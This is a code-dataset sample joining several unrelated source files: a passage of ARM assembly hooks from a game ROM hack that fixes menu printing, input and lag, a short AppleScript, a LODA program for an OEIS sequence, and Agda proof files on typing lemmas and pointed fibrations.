sub r0,#1
add r0,r1,r0
bl main_menu_hacks.set_selected_index
mov r2,r0
mov r0,r4
mov r1,r5
mov r5,r2 //Saves the old selected_index in r5 temporarily
mov r2,r6
bl main_menu_hacks.pressing_a_scrolling_print_no_get_empty_tiles
mov r0,r5 //Restores the old selected_index
bl main_menu_hacks.set_selected_index
.printing_pressed_a_end:
mov r0,#0
.printing_pressed_a_end_update:
pop {r4-r7,pc}
//=============================================================================================
// This hack calls printing_pressed_a and then updates the greyed out options. Used only by the sell menu
//=============================================================================================
.printing_pressed_a_update_grey:
push {r4-r5,lr}
mov r4,r0
bl .printing_pressed_a
mov r5,r0
cmp r0,#1
bne + //Store the arrangements buffer if it returned 1
bl .store_arrangements_buffer
+
ldr r1,[r4,#0]
bl .get_total_indexes
cmp r1,r0 //Check if the number of items in the menu changed, otherwise do nothing
beq .printing_pressed_a_update_grey_end
bl .get_menu_valid_options
mov r3,r0
ldr r0,[r4,#0xC]
ldr r1,[r4,#0x8]
ldr r2,[r4,#0x4]
bl .update_shop_valid_options
mov r2,r0
cmp r5,#0
bne .printing_pressed_a_update_grey_compare
ldr r1,[r4,#4]
bl .get_top_index
sub r0,r0,r1
mov r1,#0x1F
cmp r0,#0 //Check if the top index changed between the A press and now...
beq +
lsl r2,r2,#1 //These are now the bottom options, not the top ones
lsl r1,r1,#1
+
and r3,r1 //Make it so the bit that isn't in r2 and the one that is in r3 match
.printing_pressed_a_update_grey_compare:
eor r2,r3 //If the valid options changed, change
cmp r2,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
mov r0,r2
ldr r1,=#0x2016996
bl main_menu_hacks.change_shop_options
+
.printing_pressed_a_update_grey_end:
pop {r4-r5,pc}
//=============================================================================================
// This hack fixes 8-letter names on the main file load screen.
//=============================================================================================
.filechoose_lengthfix:
str r3,[sp,#0] // clobbered code
// Address in r0. Return the length in r3.
push {r0,lr}
mov r3,#9 // default value
bl check_name // see if it's a custom name
cmp r0,#0
beq +
mov r3,r0
+
pop {r0,pc}
//=============================================================================================
// This hack fixes the fact that if you lose the first battle Claus won't have any PP left
//=============================================================================================
claus_pp_fix:
.main:
push {lr}
lsl r0,r0,#0x10 //Character identifier
lsr r0,r0,#0x10
cmp r0,#2 //Lucas
beq +
cmp r0,#4 //Kumatora
beq +
cmp r0,#0xD //Claus
bne .failure
+
mov r0,#1 //Allow copying PPs
b .end
.failure: //If it's not one of them, then they should not have PPs
mov r0,#0
.end:
pop {pc}
//=============================================================================================
// This set of hacks cleans the writing stack
//=============================================================================================
refreshes:
//=============================================================================================
// The main hack that clears the actual writing stack
//=============================================================================================
.main:
push {lr}
ldr r1,=#0x2013040 //Address of the stack
mov r0,#0
str r0,[r1,#0x0] //Clean the words' lengths so it won't print
str r0,[r1,#0x10]
str r0,[r1,#0x14]
str r0,[r1,#0x18]
str r0,[r1,#0x1C]
pop {pc}
//=============================================================================================
// These hacks call the main one to clear the writing stack
//=============================================================================================
.lr:
push {lr}
bl .main
ldrh r1,[r5,#0xA] //Normal stuff the game expects from us
ldr r2,=#0x4264
pop {pc}
.b:
push {lr}
bl .main
mov r0,#0xD3 //Normal stuff the game expects from us
bl $800399C
pop {pc}
.inv_spec_a:
push {lr}
bl .main
ldr r1,=#0x426A //Normal stuff the game expects from us
add r0,r1,r7
pop {pc}
.memo_a:
push {lr}
bl .main
mov r0,r5 //Normal stuff the game expects from us
bl $804EEE8
pop {pc}
.equip_a:
push {lr}
bl .main
mov r0,r4 //Normal stuff the game expects from us
bl $804EB68
pop {pc}
.inner_memo_scroll:
push {r1,lr} //Let's save r1, since the game needs it
bl .main
pop {r1}
mov r0,r1 //Normal stuff the game expects from us
bl $804EF38
pop {pc}
.inner_equip_a:
push {lr}
bl .main
ldr r7,=#0x2016028 //Normal stuff the game expects from us
ldr r0,=#0x41C6
pop {pc}
.switch_lr:
push {lr}
bl .main
ldrh r0,[r4,#4] //Normal stuff the game expects from us
bl $8053E98
pop {pc}
.status_lr:
push {lr}
bl .main
ldrh r1,[r4,#0xA] //Normal stuff the game expects from us
ldr r2,=#0x4264
pop {pc}
//=============================================================================================
// These hacks call the main one to clear the writing stack and then blank out the tiles.
// This makes it so the printing process isn't showed
//=============================================================================================
.deposit_lr:
push {lr}
bl .main
bl main_menu_hacks.delete_vram
bl $804C35C //Normal stuff the game expects from us
pop {pc}
.psi_select:
push {lr}
bl .main
bl main_menu_hacks.delete_vram
mov r0,#0xD2 //Normal stuff the game expects from us
bl $800399C
pop {pc}
.status_a:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#4
bne +
bl .main
bl main_menu_hacks.delete_oam_vram
+
bl $8046D90 //Normal stuff the game expects from us
pop {pc}
.skills_b:
push {lr}
bl .main
bl main_menu_hacks.delete_oam_vram
mov r0,#0xD3 //Normal stuff the game expects from us
bl $800399C
pop {pc}
//=============================================================================================
// This hack blanks out a part of OAM's text tiles.
// This makes it so the printing process isn't showed
//=============================================================================================
.inv_submenu_a:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#0 //Make sure we're in the inventory. Double checking never hurts
bne + //If we are, clean a subsection of OAM's VRAM
bl main_menu_hacks.delete_oam_vram_subsection
+
bl $804FA5C //Normal stuff the game expects from us
pop {pc}
//=============================================================================================
// This hack calls the main one to clear the writing stack.
// It then changes how the withdraw menu swaps character. (Top index and selected item won't change)
//=============================================================================================
.withdraw_lr:
push {lr}
bl .main //Don't refresh the withdraw menu when we swap character...
bl main_menu_hacks.prepare_swap_char_withdraw
pop {pc}
//=============================================================================================
// This hack calls the main one to clear the writing stack.
// It then moves the text up/down and prints only the bottom/top line
//=============================================================================================
.up_and_down:
push {r0-r2,lr}
bl .main
//bl $8046D90 //Normal stuff the game expects from us
bl main_menu_hacks.up_down_scrolling_print
pop {r0-r2,pc}
//=============================================================================================
// This hack calls the main one to clear the writing stack only if the game's done printing.
// If the game's done printing, it then moves the text up/down and prints only the bottom/top line
//=============================================================================================
.up_and_down_battle_memoes:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0]
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
mov r0,r5
mov r1,r7
bl $8053598
lsl r0,r0,#0x10
lsr r0,r0,#0x10
cmp r0,#2
bne +
push {r0-r2}
bl .main
bl main_menu_hacks.up_down_scrolling_print
ldr r1,=#0xC5AD //Signal printing
add r1,r1,r6
ldrb r0,[r1,#0]
mov r2,#1
orr r0,r2
strb r0,[r1,#0]
pop {r0-r2}
mov r0,#1
+
add sp,#4
pop {pc}
//=============================================================================================
// These hacks allow input reading only if the game's done printing.
//=============================================================================================
.inv_block_a:
push {lr}
bl main_menu_hacks.check_if_printed
cmp r1,#0 //Have we finished printing?
beq .inv_block_a_passed //Yes! Then let it do what it wants to do
pop {r0}
ldr r0,=#0x804CC35 //No! Prevent the game from opening stuff we don't want yet.
bx r0
.inv_block_a_passed:
ldr r0,=#0x2DFA //Normal stuff the game expects from us
add r1,r7,r0
pop {pc}
.inv_submenu_block_a:
push {lr}
bl main_menu_hacks.check_if_printed
mov r0,r1
mov r1,#0 //Have we finished printing?
cmp r0,#0
bne +
ldrh r1,[r4,#0] //Normal input loading
+
mov r0,#3
pop {pc}
.sell_block_input_up_and_down:
push {lr}
add sp,#-0x8
str r0,[sp,#4]
ldr r0,[sp,#0xC]
str r0,[sp,#0] //Prepare args for the function
mov r2,r1
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do this only if it's done printing
cmp r1,#0
bne +
ldr r0,[sp,#4]
mov r1,r2
mov r2,r5
bl $8053598
+
add sp,#0x8
pop {pc}
.sell_a:
push {lr}
bl main_menu_hacks.check_if_printed
cmp r1,#0
bne +
push {r2} //Let's save r2, since the game needs it
bl .main
pop {r2}
mov r0,r2 //Normal stuff the game expects from us
bl $804F0D4
+
pop {pc}
.psi_prevent_input_a_select:
push {lr}
bl main_menu_hacks.check_if_printed
mov r0,r1
ldrh r1,[r7,#0] //Input
cmp r0,#0
beq +
ldr r0,=#0xFFFA
and r1,r0 //Prevent using A and SELECT if the PSI menu isn't fully done printing
+
cmp r1,#1 //Clobbered code
pop {pc}
.withdraw_psi_memo_block_input_up_and_down:
push {lr}
add sp,#-0xC
ldr r0,[sp,#0x10]
str r0,[sp,#0]
ldr r0,[sp,#0x14]
str r0,[sp,#4]
ldr r0,[sp,#0x18]
str r0,[sp,#8] //Prepare args for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do this only if it's done printing
cmp r1,#0
bne +
add r0,r5,#4
mov r1,r5
add r1,#8
bl $8053968
+
add sp,#0xC
pop {pc}
.withdraw_block_input_lr:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0] //Prepare arg for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
add r0,r4,#4
mov r1,r7
bl $8053754
+
add sp,#4
pop {pc}
.buy_block_a:
push {lr}
bl main_menu_hacks.check_if_printed
cmp r1,#0 //Prevent confirming buying (it interacts with
bne + //the arrangements) unless everything's printed
bl $8050008
+
pop {pc}
.buy_block_up_down:
push {lr}
add sp,#-4
mov r2,r0
bl main_menu_hacks.check_if_printed
mov r0,#0 //Prevent scrolling up or down (it interacts with
cmp r1,#0 //the arrangements) unless everything's printed
bne +
ldr r0,[sp,#8] //Prepare args for the function
str r0,[sp,#0]
mov r0,r2
mov r2,r5
add r1,r0,#4
bl $8053598
+
add sp,#4
pop {pc}
.buy_block_lr:
push {lr}
add sp,#-4
mov r2,r0
bl main_menu_hacks.check_if_printed
mov r0,#0 //Prevent changing character (it interacts with
cmp r1,#0 //the arrangements) unless everything's printed
bne +
ldr r0,[sp,#8] //Prepare args for the function
str r0,[sp,#0]
mov r1,r5
mov r0,r2
mov r2,#0
bl $8053754
+
add sp,#4
pop {pc}
.equip_block_input_lr:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0] //Prepare arg for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
mov r0,r4
add r0,#0xA
mov r1,r5
mov r2,#0
bl $8053754
+
add sp,#4
pop {pc}
.status_block_input_lr:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0] //Prepare arg for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
mov r0,r4
add r0,#0xA
mov r1,r2
mov r2,#0
bl $8053754
+
add sp,#4
pop {pc}
//=============================================================================================
// This hack updates the inventory.
// It then returns both the new inventory size and the one before updating it
//=============================================================================================
.inv_load_new_old_size:
push {lr}
add sp,#-4
mov r1,r0
bl main_menu_hacks.get_character_inventory_total_indexes
str r0,[sp,#0] //Save old inventory's size
mov r0,r1
bl $80524EC //Routine that updates inventory's size
bl main_menu_hacks.get_character_inventory_total_indexes
ldr r1,[sp,#0] //Put in r0 the new size and in r1 the old one
add sp,#4
pop {pc}
//=============================================================================================
// This hack makes it so if we're in the buying menu, a certain B branch doesn't update the screen.
// This happens in the "Equip X?" and "Sell X?" submenus
//=============================================================================================
.shop_block_b_update:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0] //Load the menu type
cmp r0,#0xA //Is this the buying menu?
beq +
bl $8046D90 //If not, proceed normally
+
pop {pc}
//=============================================================================================
// This hack handles using/giving/throwing inventory items in an optimized way by not printing
//=============================================================================================
.inv_handle_item_movement:
push {r4,lr}
add sp,#-0x50
mov r4,#0
str r4,[sp,#0xC] //Set this address to a default
mov r4,r2
bl main_menu_hacks.store_menu_movement_data
bl .inv_load_new_old_size
cmp r0,r1
bne + //Did the inventory's size change?
//If it did not, check if we should move the item to the bottom
cmp r4,#1
bne .inv_handle_item_movement_end
str r0,[sp,#0xC] //Save the fact that we should move the item to the bottom
mov r0,sp
mov r1,#0 //Copy from the arrangements
mov r2,#0x10
add r2,r2,r0 //Load the item's arrangements in
bl main_menu_hacks.new_inventory_copy_arrangement
+
mov r0,sp
bl main_menu_hacks.new_inventory_deposit_swap_arrangement
ldr r0,[sp,#0xC]
cmp r0,#0
beq +
sub r0,r0,#1
str r0,[sp,#8] //Put the target in the movement data
mov r0,sp
mov r1,#1 //Copy to the arrangements
mov r2,#0x10
add r2,r2,r0 //Move the item's arrangement to the bottom
bl main_menu_hacks.new_inventory_copy_arrangement
+
bl main_menu_hacks.store_arrangements_buffer
mov r0,#0 //Return the fact that the size changed
.inv_handle_item_movement_end:
add sp,#0x50
pop {r4,pc}
//=============================================================================================
// This hack handles using and throwing inventory items
//=============================================================================================
.inv_use_throw:
push {r2,lr}
mov r2,#0 //If the size stays the same, no operation to be done
bl .inv_handle_item_movement
cmp r0,#0
bne +
ldr r0,=#0x2015D98
ldrb r1,[r0,#0]
mov r2,#4 //Prevents glitch in which the new currently selected item's data would show up for the top OAM
orr r1,r2
strb r1,[r0,#0]
+
pop {r2,pc}
//=============================================================================================
// This hack handles giving inventory items (It's a special case because you can give them
// to the same character and change the inventory's order without changing its size)
//=============================================================================================
.inv_give:
push {r2,lr}
mov r2,#1 //If the size stays the same, move the item to the bottom
bl .inv_handle_item_movement
pop {r2,pc}
//=============================================================================================
// These hacks save which entries are valid and then update them.
// This allows changing the palette of certain entries instead of reprinting them
//=============================================================================================
.sell_confirmed_a:
push {lr}
add sp,#-0x10
bl main_menu_hacks.store_menu_movement_data
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0xC]
bl $8050218
add sp,#0x10
pop {pc}
.sell_confirmed_equipment_a:
push {lr}
add sp,#-0x10
bl main_menu_hacks.store_menu_movement_data
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0xC]
bl $805030C
add sp,#0x10
pop {pc}
//=============================================================================================
// These hacks update the palette of certain entries instead of reprinting them.
// They also remove the sold item and only print the one at the bottom (if it exists)
//=============================================================================================
.sell_equipment_confirmed_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x1C
bl main_menu_hacks.printing_pressed_a_update_grey
pop {pc}
.sell_confirmed_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x14
bl main_menu_hacks.printing_pressed_a_update_grey
pop {pc}
//=============================================================================================
// These hacks update the palette of certain entries instead of reprinting them
//=============================================================================================
.psi_used:
push {r4,lr}
add sp,#-4
mov r4,r0
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0] //Get the valid options now
mov r0,r4
bl $8052864 //Do the PSI used routine...
mov r0,r4
bl main_menu_hacks.get_menu_valid_options
ldr r1,[sp,#0]
eor r0,r1 //If the valid options changed, change
cmp r0,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
ldr r1,=#0x201697A
bl main_menu_hacks.change_psi_options
bl main_menu_hacks.store_arrangements_buffer
+
add sp,#4
pop {r4,pc}
.buy_a:
push {lr}
add sp,#-4
bl .main
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0] //Get the valid options now
mov r0,r4
bl $8052F9C //Do the confirming buying routine...
bl main_menu_hacks.get_menu_valid_options
ldr r1,[sp,#0]
eor r0,r1 //If the valid options changed, change
cmp r0,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
ldr r1,=#0x2016992
bl main_menu_hacks.change_shop_options
bl main_menu_hacks.store_arrangements_buffer
+
add sp,#4
pop {pc}
.buy_lr:
push {lr}
add sp,#-4
bl .main
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0] //Get the valid options now
bl main_menu_hacks.prepare_swap_char_buying
bl main_menu_hacks.get_menu_valid_options
ldr r1,[sp,#0]
eor r0,r1 //If the valid options changed, change
cmp r0,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
ldr r1,=#0x2016992
bl main_menu_hacks.change_shop_options
bl main_menu_hacks.store_arrangements_buffer
+
add sp,#4
pop {pc}
.sell_after_buy_a:
push {r4,lr}
mov r4,r5 //Cover the -selling old equipment
bl .buy_a //after buying new one- case
pop {r4,pc}
//=============================================================================================
// This hack allows input reading only if the game's done printing.
// If it is done, then it saves the current position of the cursor in order to
// only remove what is needed without reprinting the entire menu
//=============================================================================================
.deposit_a:
push {lr}
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
add sp,#-0xC //Prepare the item's index for the deposit-movement routine
bl main_menu_hacks.store_menu_movement_data
bl .main
mov r0,r4 //Normal stuff the game expects from us
bl $804F1D8
add sp,#0xC
+
pop {pc}
//=============================================================================================
// This hack moves the items in the deposit menu around instead of reprinting them
//=============================================================================================
.deposit_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x1C
bl main_menu_hacks.new_inventory_deposit_swap_arrangement
bl main_menu_hacks.store_arrangements_buffer
pop {pc}
//=============================================================================================
// This hack allows input reading only if the game's done printing.
// If it is done, then it saves the current position of the cursor in order to
// only remove what is needed without reprinting the entire menu
// It also checks whether there is space in the character's inventory
//=============================================================================================
.withdraw_a:
push {lr}
add sp,#-0xC
bl main_menu_hacks.store_menu_movement_data
bl main_menu_hacks.check_if_printed
cmp r1,#0 //Do the thing only IF we're done printing.
bne .withdraw_a_end //Prevents issues with arrangements not being there
ldr r0,=#0x201A294 //Check if the inventory is full. If it is, then the game won't print again and we need to let it do its thing. We need to manually increment this, as the original devs forgot to do it.
ldrh r1,[r0,#0]
cmp r1,#0x10
bge +
add r1,#1
strh r1,[r0,#0]
bl .main
+
mov r0,r5 //Normal stuff the game expects from us
bl $804F294
.withdraw_a_end:
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack moves the items in the withdraw menu around instead of reprinting them
//=============================================================================================
.withdraw_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x14
bl main_menu_hacks.printing_pressed_a
cmp r0,#1
bne + //Store the arrangements buffer if it returned 1
bl main_menu_hacks.store_arrangements_buffer
+
pop {pc}
//=============================================================================================
// This set of hack tries to improve the performances of menus that may use most of the CPU
// in certain specific situations (Status and Equip).
//=============================================================================================
improve_performances_menus:
//=============================================================================================
// This hack prints "Weapon", "Body", "Head", "Other" and "Skills" in VRAM.
//=============================================================================================
.status_vram_equip_descriptors:
push {lr}
add sp,#-4
str r4,[sp,#0]
bl $8047B9C //Base code, orders printing "PP"
mov r0,#0x52
bl $80486A0 //Load up "Weapon"
str r4,[sp,#0]
mov r1,#9
mov r2,#5
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x54
bl $80486A0 //Load up "Body"
str r4,[sp,#0]
mov r1,#9
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x53
bl $80486A0 //Load up "Head"
str r4,[sp,#0]
mov r1,#9
mov r2,#7
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x55
bl $80486A0 //Load up "Other"
str r4,[sp,#0]
mov r1,#9
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x56
bl $80486A0 //Load up "Skills"
str r4,[sp,#0]
mov r1,#9
mov r2,#9
mov r3,r5
bl $8047B9C //Order its printing
add sp,#4
pop {pc}
//=============================================================================================
// This hack prints "Weapon", "Body", "Head" and "Other" in VRAM.
//=============================================================================================
.equipment_vram_equip_descriptors:
push {lr}
add sp,#-4
mov r4,#1
mov r5,#1
neg r5,r5
mov r0,#0x52
bl $80486A0 //Load up "Weapon"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#2
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x54
bl $80486A0 //Load up "Body"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#4
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x53
bl $80486A0 //Load up "Head"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x55
bl $80486A0 //Load up "Other"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
ldr r0,=#0x201A51B
mov r1,#0
add sp,#4
pop {pc}
//=============================================================================================
// Avoid reprinting stuff we don't need to when closing the equipment submenu
//=============================================================================================
.equip_avoid_left_reprint:
push {lr}
ldr r0,=#0x201A51B
mov r1,#4
strb r1,[r0,#0] //Specify no reprinting for left column
bl $8046D90 //Call printing
ldr r0,=#0x201A51B
mov r1,#0
strb r1,[r0,#0] //Restore previous value
pop {pc}
//=============================================================================================
// This set of hack removes the lag from the "Delete all saves" menu.
// To access it, press LOAD in the main menu with L + R + START + A held down
//=============================================================================================
fix_lag_delete_all:
//=============================================================================================
// This hack makes it so the "LV" icon has the same priority as the other OAM entries.
// Otherwise it could pop over the backgorund
//=============================================================================================
.change_level_priority:
mov r6,#2
str r6,[sp,#0]
mov r6,#1 //Set r6 to 1 because the rest of the function expects it to be 1
bx lr
//=============================================================================================
// This hack makes it so BG1 (the VRAM BG) is 5 pixels lower.
// It makes it possible to match the original text.
//=============================================================================================
.change_bg1_coords:
ldr r1,=#0x2016028
cmp r0,#9
bne +
ldrh r0,[r1,#0x1C] //Move the Y axys by 5 pixels
mov r0,#3
strh r0,[r1,#0x1C]
mov r0,#9
+
cmp r0,#8
bx lr
//=============================================================================================
// This hack adds VRAM entries for the text in the "Delete all saves" menu.
// It also hides BG1
//=============================================================================================
.add_extra_vram:
push {lr}
add sp,#-4
ldr r0,=#0x2004100
ldrb r0,[r0,#0]
cmp r0,#9
bne +
ldr r0,=#0x2016028
ldrh r1,[r0,#0xC]
mov r2,#3
orr r1,r2
strh r1,[r0,#0xC] //Hide BG1 until we need to show it
mov r5,#1
neg r5,r5
mov r4,#0xF //Generic text stuff
mov r0,#0x1D //"Delete all saves" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0x3
mov r2,#4
mov r3,r5
bl $8047B9C //Order printing
mov r0,#0x21 //"Is that okay" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0x3
mov r2,#5
mov r3,r5
bl $8047B9C //Order printing
mov r0,#0x03 //"Yes" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0x7
mov r2,#6
mov r3,r5
bl $8047B9C //Order printing
mov r0,#0x04 //"No" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0xB
mov r2,#6
mov r3,r5
bl $8047B9C //Order printing
mov r0,#9
+
add sp,#4
pop {pc}
//=============================================================================================
// This hack hides BG1 (the VRAM backgorund).
// Used when Yes or No has been pressed
//=============================================================================================
.hide_background:
push {r1-r2}
ldr r0,=#0x2016028
ldrh r1,[r0,#0xC]
mov r2,#3
orr r1,r2
strh r1,[r0,#0xC] //Hide back VRAM content in BG1
mov r0,#0
pop {r1-r2}
bx lr
//=============================================================================================
// This hack changes the BG0 and the BG1 priority for the "Delete all saves" menu.
// BG1 (VRAM text) goes over BG0 (submenu window).
// The default code goes on to print some OAM entries, which are skipped
// in the "Delete all saves" menu.
//=============================================================================================
.change_background_priority_remove_oam:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#0x10 //Is this the saving menu?
bne +
ldr r0,=#0x2004100
ldrb r0,[r0,#0]
cmp r0,#9 //Is this the "Delete all files" menu?
bne +
ldrh r0,[r4,#0xA]
mov r1,#1
orr r0,r1 //Change BG0 priority to 1
strh r0,[r4,#0xA]
ldrh r0,[r4,#0xC]
mov r1,#4
neg r1,r1
and r0,r1 //Change BG1 priority to 0. Bring forth the text written in VRAM
strh r0,[r4,#0xC]
pop {r0}
ldr r0,=#0x8045DE7
bx r0 //Sadly, we need to skip part of the routine and this is the best way that came to mind...
+
ldr r0,=#0x41CC //Default code
add r4,r4,r0
pop {pc}
//=============================================================================================
// This hack removes the cursor while the "Delete all files" menu is loading up
//=============================================================================================
.remove_starting_cursor:
push {lr}
add sp,#-4
ldr r3,=#0x201A288
ldrb r3,[r3,#0]
cmp r3,#0x10
bne +
ldr r3,=#0x2004100
ldrb r3,[r3,#0]
cmp r3,#0x9
bne +
ldr r3,=#0x201A202 //0x2016028 + 0x41C6
ldrb r3,[r3,#0]
cmp r3,#0x4
bne +
b .remove_starting_cursor_end
+
ldr r3,[sp,#8]
str r3,[sp,#0]
mov r3,#0x20 //Function parameters
bl $8046A28
.remove_starting_cursor_end:
add sp,#4
pop {pc}
//=============================================================================================
// This hack makes it so the window is loaded up for the "Delete all files" menu only after
// the fadein is over
//=============================================================================================
.hack:
push {lr}
push {r0-r3}
ldr r2,=#0x2016028
ldr r0,=#0x41DA
add r3,r2,r0
mov r1,#0x12
sub r1,r0,r1
add r0,r1,r2 //Load the submenu we're in. 5 is a sub-submenu
ldrh r1,[r0,#4] //Load the subscreen we're in. 0x1D is the "Delete all saves" one.
cmp r1,#0x1D
bne +
ldrh r1,[r0,#0]
cmp r1,#5
bne +
ldrb r0,[r3,#0] //Make it so this is properly added only once we can get the input
cmp r0,#4
bne +
mov r1,#0x86
add r1,r1,r3
ldrb r1,[r1,#0]
cmp r1,#0x10 //Is this the file selection menu?
bne +
mov r1,#0x16
add r1,r1,r3
ldrh r0,[r1,#0]
cmp r0,#0x16 //Have a 6 frames windows for the fadein to properly end
bne +
mov r0,#5
strb r0,[r3,#0]
+
pop {r0-r3}
ldrb r0,[r0,#0] //Clobbered code
lsl r0,r0,#0x1F
pop {pc}
|
02-Tooling/02-log-the-class.applescript | Rolias/discover-applescript | 0 | 3869 | <reponame>Rolias/discover-applescript
tell application "System Preferences"
set nameList to the name of every window
set theClass to class of nameList
log theClass
end tell |
oeis/316/A316131.asm | neoneye/loda-programs | 11 | 163526 | ; A316131: Decimal expansion of the least x such that 1/x + 1/(x+1) + 1/(x+3) = 1, negated.
; Submitted by <NAME>
; 2,5,1,4,1,3,6,9,2,9,3,3,5,2,9,1,0,7,2,6,9,3,7,7,4,8,6,6,9,6,2,2,1,7,4,7,8,0,5,2,4,7,6,3,0,0,7,4,5,4,0,4,5,9,2,2,2,1,6,7,1,3,9,4,2,0,9,3,4,1,6,5,7,2,9,1,7,7,3,5,9,0,7,5,8,0
mov $1,2
mov $3,$0
mul $3,4
lpb $3
add $6,$2
add $1,$6
add $1,$2
add $2,$1
mov $5,$1
mov $1,$6
mul $1,2
mul $2,2
sub $3,1
add $5,$2
add $6,$5
lpe
mov $4,10
pow $4,$0
div $2,$4
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
mod $0,10
|
lemmas-progress.agda | hazelgrove/hazelnat-myth- | 1 | 9268 | <filename>lemmas-progress.agda
open import Nat
open import Prelude
open import List
open import contexts
open import core
open import lemmas-env
module lemmas-progress where
typ-inhabitance-pres : ∀{Δ Σ' Γ E e τ} →
Δ , Σ' , Γ ⊢ E →
Δ , Σ' , Γ ⊢ e :: τ →
Σ[ r ∈ result ] (Δ , Σ' ⊢ r ·: τ)
typ-inhabitance-pres Γ⊢E ta@(TAFix e-ta) = _ , (TAFix Γ⊢E ta)
typ-inhabitance-pres Γ⊢E (TAVar x∈Γ)
with env-all-Γ Γ⊢E x∈Γ
... | _ , x∈E , r-ta = _ , r-ta
typ-inhabitance-pres Γ⊢E (TAApp _ f-ta arg-ta)
with typ-inhabitance-pres Γ⊢E f-ta | typ-inhabitance-pres Γ⊢E arg-ta
... | _ , rf-ta | _ , rarg-ta = _ , TAApp rf-ta rarg-ta
typ-inhabitance-pres Γ⊢E TAUnit = _ , TAUnit
typ-inhabitance-pres Γ⊢E (TAPair _ ta1 ta2)
with typ-inhabitance-pres Γ⊢E ta1 | typ-inhabitance-pres Γ⊢E ta2
... | _ , r-ta1 | _ , r-ta2 = _ , TAPair r-ta1 r-ta2
typ-inhabitance-pres Γ⊢E (TAFst ta)
with typ-inhabitance-pres Γ⊢E ta
... | _ , r-ta = _ , TAFst r-ta
typ-inhabitance-pres Γ⊢E (TASnd ta)
with typ-inhabitance-pres Γ⊢E ta
... | _ , r-ta = _ , TASnd r-ta
typ-inhabitance-pres Γ⊢E (TACtor d∈Σ' c∈d e-ta)
with typ-inhabitance-pres Γ⊢E e-ta
... | _ , r-ta = _ , TACtor d∈Σ' c∈d r-ta
typ-inhabitance-pres Γ⊢E (TACase d∈Σ' e-ta h1 h2)
with typ-inhabitance-pres Γ⊢E e-ta
... | _ , r-ta = _ , TACase d∈Σ' Γ⊢E r-ta h1 λ form →
let _ , _ , _ , h5 , h6 = h2 form in
_ , h5 , h6
typ-inhabitance-pres Γ⊢E (TAHole u∈Δ) = _ , TAHole u∈Δ Γ⊢E
typ-inhabitance-pres Γ⊢E (TAAsrt _ e-ta1 e-ta2) = _ , TAUnit
|
Cubical/Homotopy/PointedFibration.agda | Schippmunk/cubical | 0 | 17473 | {-# OPTIONS --cubical --safe #-}
module Cubical.Homotopy.PointedFibration where
open import Cubical.Core.Everything
open import Cubical.Data.Nat
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Pointed
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.GroupoidLaws
open import Cubical.Foundations.Function
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.HLevels
open import Cubical.Homotopy.Base
open import Cubical.Homotopy.Connected
open import Cubical.Homotopy.Loopspace
open import Cubical.Data.Nat
open import Cubical.Data.Nat.Order
open LowerBoundedInduction
open import Cubical.Data.Sigma
open import Cubical.Data.Unit
open import Cubical.Foundations.HLevels'
open import Cubical.Foundations.Structure
private
variable
ℓ ℓ' : Level
-- Different versions of Theorem 9. We abstract ℓ' again here
-- to avoid some issues with implicit arguments.
module _ {ℓ' : Level} (X : Pointed ℓ) where
-- block of private stuff to reduce redundancy in the proof of the theorem
private
module _ (n k : ℕ) where
-- A, together with its paramenters/context, is just the statement of the theorem.
